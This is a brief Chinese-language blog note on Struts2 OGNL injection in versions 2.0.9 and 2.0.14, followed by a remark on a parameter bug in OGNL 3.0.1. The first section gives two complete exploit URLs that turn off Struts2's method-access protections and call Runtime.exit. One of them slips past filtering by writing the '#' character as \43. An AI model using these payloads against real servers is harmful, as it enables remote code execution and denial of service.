struts2-ognl mark

最新推荐文章于 2023-01-13 22:30:00 发布

原创最新推荐文章于 2023-01-13 22:30:00 发布 · 509 阅读

0 ·

CC 4.0 BY-SA版权

本文详细介绍了Struts2版本2.0.14和2.0.9中针对漏洞的攻击方式，并讨论了在升级到Struts2.2.3后出现的Ognl3.0.1小bug，特别是基本类型参数在请求参数中未赋值时引发的NosuchMethod异常问题，提供了相应的解决策略。

暂时mark在这，后面再补充

1. 关于漏洞的问题

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action

2.0.9不行

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

2.0.14失效

仅过滤\u0023不行

http://localhost:8080/struts2-blank-2.0.14/example/HelloWorld.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('zz')(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(x))(zzxx))&('aaa')((('\43context.excludeProperties\u003dEMPTY_SET')('x'))(zzxx))&(asdf)(('@java.lang.Runtime@getRuntime().exit(1)')('z'))

2.ognl3.0.1的问题

升级到struts2.2.3之后，ognl3.0.1会产生一个小bug。基本类型的参数，比如int,long,short，如果在请求参数中没有赋值，会抛出NosuchMethod的异常。